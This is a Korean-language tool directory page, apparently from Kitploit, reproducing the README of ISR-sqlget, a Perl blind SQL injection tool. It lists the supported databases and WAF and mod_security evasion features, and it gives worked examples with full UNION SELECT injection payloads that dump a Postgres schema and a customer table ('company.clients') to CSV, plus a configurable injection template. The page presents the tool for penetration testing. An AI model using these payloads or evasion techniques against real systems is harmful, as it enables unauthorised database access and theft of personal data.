Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
isr-sqlget — ISR-sqlget Perl로 개발된 블라인드 SQL 인젝션 도구입니다. | Kitploit
도구/GitHubGitHub/infobyte/isr-sqlget
Vulnerability AnalysisWeb Application ExploitationPenetration TestingDatabase Security
GitHubinfobyte/isr-sqlget

isr-sqlget

ISR-sqlget Perl로 개발된 블라인드 SQL 인젝션 도구입니다.

저장소 보기
14141813년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |

..:: 설명

ISR-sqlget: Perl로 개발된 블라인드 SQL 인젝션 도구입니다. 데이터베이스 스키마와 테이블 행을 가져올 수 있습니다. 단일 GET/POST를 사용하여 데이터베이스 구조에 조용히 접근할 수 있으며 단일 GET/POST를 사용하여 모든 테이블 행을 CSV 형식의 파일로 덤프할 수 있습니다.

지원하는 데이터베이스:

- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)    
- SQLBase (http://www.unify.com)

우회 기능:

- 전각/반각 유니코드 인코딩
- Apache 비표준 CR 우회
- mod_security 우회
- 무작위 대문자 요청 변환
- PHP Magicquotes: DB CHR 함수 또는 유사 기능을 사용하여 모든 문자열 인코딩
- 요청을 16진수 값으로 변환
- 공백 대신 /**/ 또는 (\t) 탭 사용 회피
- DB concat 함수 또는 유사 기능을 사용하여 || 또는 + 연결 회피
- 무작위 User-Agent
- 무작위 프록시 서버
- 무작위 요청 지연

공통 기능:

- 데이터베이스 스키마 다운로드 블랙리스트
- 쿠키 배열 지원
- SSL 지원
- 프록시 서버 지원
- CSV 형식으로 데이터베이스 정보 덤프

보고:

- 임팩트 있는 경영 보고서 작성을 위한 데이터베이스 구조 그래프화
Graphviz 라이브러리 필요 (http://www.graphviz.org/)

..:: 사용법

도구에는 다음 정보가 필요합니다:

  • : 수행할 작업?
  • : 어디에서?

가능한 ACTION은 다음과 같습니다:

첫 번째:
1. 데이터베이스 스키마 가져오기.

그 다음:
2.a 테이블 행 가져오기 (CSV 형식).
2.b 데이터베이스 스키마 그래프 가져오기.

..::예제:

대상: http://target.infobytesec.com/helloworld.php?id=

helloworld.php 소스:

"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>

세션 예제 (설정 파일) 읽기: ./helloworld.pm

데이터베이스 스키마 가져오기:

; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: 스키마 가져오기, 세션 이름: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#

이 명령은 다음 경로에 로컬 스키마 파일을 생성합니다: ./template/helloworld.dbschema

그런 다음 테이블 행 가져오기:

; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: DB 데이터 가져오기, 세션 이름: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: DB 데이터 가져오기, 세션 이름: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....

"./datos/" 디렉토리에는 각 테이블에 대해 다음과 같은 두 개의 파일이 생성됩니다:

[sessionname].[database].[table].sql.html # html 소스 [sessionname].[database].[table].csv # 쉼표로 구분된 값

참고: "./datos"는 세션 설정 파일의 $conf::outputdb 매개변수로 지정할 수 있습니다.

..:: 고급

이 도구는 SELECT SQL 쿼리에서 하나의 컬럼(예: text/varchar)만 사용합니다. UNION 문을 사용하여 "[__]"를 구분자로 해당 컬럼에 모든 데이터베이스 스키마를 가져올 수 있습니다.

로컬 데이터베이스 스키마를 이미 저장한 후에 다음을 수행할 수 있습니다:

1.a 테이블 행 가져오기: 동일한 기법을 사용하여 데이터베이스의 모든 테이블 행을 가져올 수 있으며, text와 호환되지 않는 데이터 타입 컬럼은 데이터베이스 자체 함수를 사용하여 text로 변환됩니다.

1.b 데이터베이스 스키마 그래프 가져오기.

도구는 각 작업에 대해 세션 설정 파일을 사용합니다. 이 설정 파일은 SQL 인젝션을 악용하는 데 필요한 매개변수를 정의합니다. @conf::path 매개변수는 도구가 원시 HTML을 파싱하여 작업하는 방식을 지정합니다.

도움말 세부사항:

Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]

Action: -c: 파서 모듈 확인 -t: 테스트 페이지 가져오기 -a: 모든 데이터베이스 이름 가져오기 (MSSQL 전용) -s: 데이터베이스 구조 가져오기 -d: 데이터베이스 정보 가져오기 (CSV 형식) -g: 데이터베이스 구조 그래픽 (GIF 형식)

Options: -n: 세션 이름 -p: (-c 액션과 함께 사용, 모듈을 확인할 소스 페이지 지정); 기본값 ./template/$SESSION.testpage -v: 상세 출력 -h: 도움말

-t: 세션 파일을 사용하여 나중에 "-c" 액션으로 원시 HTML을 파싱하는 데 사용할 짧은 데이터 시스템 테이블을 가져옵니다.

-c: 기본적으로 ./template/[세션-이름].testpage를 사용합니다. 원시 HTML 파서를 개발하고 테스트하는 데 사용됩니다. "-p" 옵션을 사용하여 다른 HTML 파일을 선택할 수 있습니다.

-a: 모든 DB 엔진은 테이블 행을 가져올 때 다음 순서를 사용합니다: 1. "-s" 구조 가져오기 (데이터베이스 스키마를 로컬 파일에 저장). 2. "-d" 테이블 데이터 가져오기.

MSSQL 시스템 테이블 때문에 이전 단계를 추가해야 합니다:
1. "-a" 모든 데이터베이스 이름 가져오기 (로컬 파일에 이름 저장).
2. "-s" 구조 가져오기 (데이터베이스 스키마를 로컬 파일에 저장).
3. "-d" 테이블 데이터 가져오기.

-s: 구조 가져오기 (데이터베이스 스키마를 로컬 파일에 저장).
-d: 테이블 데이터 가져오기.

-g: 이전에 얻은 로컬 데이터베이스 스키마 파일을 사용하여 데이터베이스 구조 그래픽(GIF 형식)을 얻습니다.

-n: 세션 설정 파일의 이름을 지정합니다.

..:: 참고 사항

./pmschanges.txt: 수정된 LWP, Net::HTTP 버전을 사용합니다. 이 파일은 수정 사항을 설명합니다.

./dbs/isr_*: 모든 데이터베이스 모듈에는 유효한 공백 유형을 지정하는 @space 변수가 있습니다. 예: my @space=(' ',"\t","/**/"); #모든 공백

..:: 세션 파일 옵션:

@conf::path #@conf::path 매개변수는 도구가 원시 HTML을 파싱하여 작업하는 방식을 지정합니다. #HTML::TreeBuilder와 함께 임베디드 Perl 코드를 사용하여 원시 HTML을 파싱합니다. #첫 번째 설정은 필요한 HTML 태그 이름의 트리 배열입니다. 마지막 HTML 태그 이름은 Perl 코드로 처리됩니다.

예제는 ./examples/ 디렉토리를 참조하세요. example[n].html session[n].pm

$conf::site #취약한 애플리케이션이 있는 사이트

$conf::script #취약한 스크립트 파일

$conf::method #'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (아파치 메소드 우회) 메소드

$conf::inj #UNION 문이 포함된 POST/GET 매개변수 #동적 정보로 대체될 변수를 사용합니다.

변수:
<VALUE> = 모든 정보를 가져오는 데 사용되는 컬럼.
<TABLE> = 테이블 섹션.
<WHERE> = WHERE 섹션.
<TAIL>  = SQL 문의 마지막 부분.

예제: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";

$conf::where #UNION 테이블에 예외를 추가해야 하는 경우 이 매개변수를 사용합니다. #일부 데이터베이스 구조 쿼리에는 "WHERE"가 포함되어 있기 때문입니다.

$conf::tail #SQL 문의 마지막 부분. $conf::param #매개변수 스타일 = Post 스타일 1, Url 스타일 0 Post 스타일= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa

Url 스타일:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0

$conf::dbtype #데이터베이스 백엔드

1 - Oracle
2 - Microsoft SQL Server
3 - Mysql    
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)    
7 - Mimer (www.mimer.com)    
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)    
10 - Hsqldb (www.hsqldb.org)    
11 - SQLite    
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)    
20 - SQLBase (http://www.unify.com)

$conf::session #세션 이름 (설정 파일 이름과 동일해야 하며 .pm 확장자는 제외) $conf::outputdb #덤프된 테이블 행의 경로

######### proxy $conf::proxy_host #프록시 지원 예: 'http://user:pass@host:port/'; $conf::rproxy #무작위 프록시 1 활성화 또는 0 비활성화 $conf::rproxyfile #프록시 랜덤 파일 ($conf::proxy_host와 동일한 형식 사용)

######### filters $conf::space #공백 회피: 0 공백 활성화 또는 1 공백 ' '을 탭 '\t'로 대체 #2 공백 ' '을 주석 '/**/'로 대체

$conf::apache_espace #HTTP/s 요청에서 CR 값을 지정할 수 있습니다.

도구 다운로드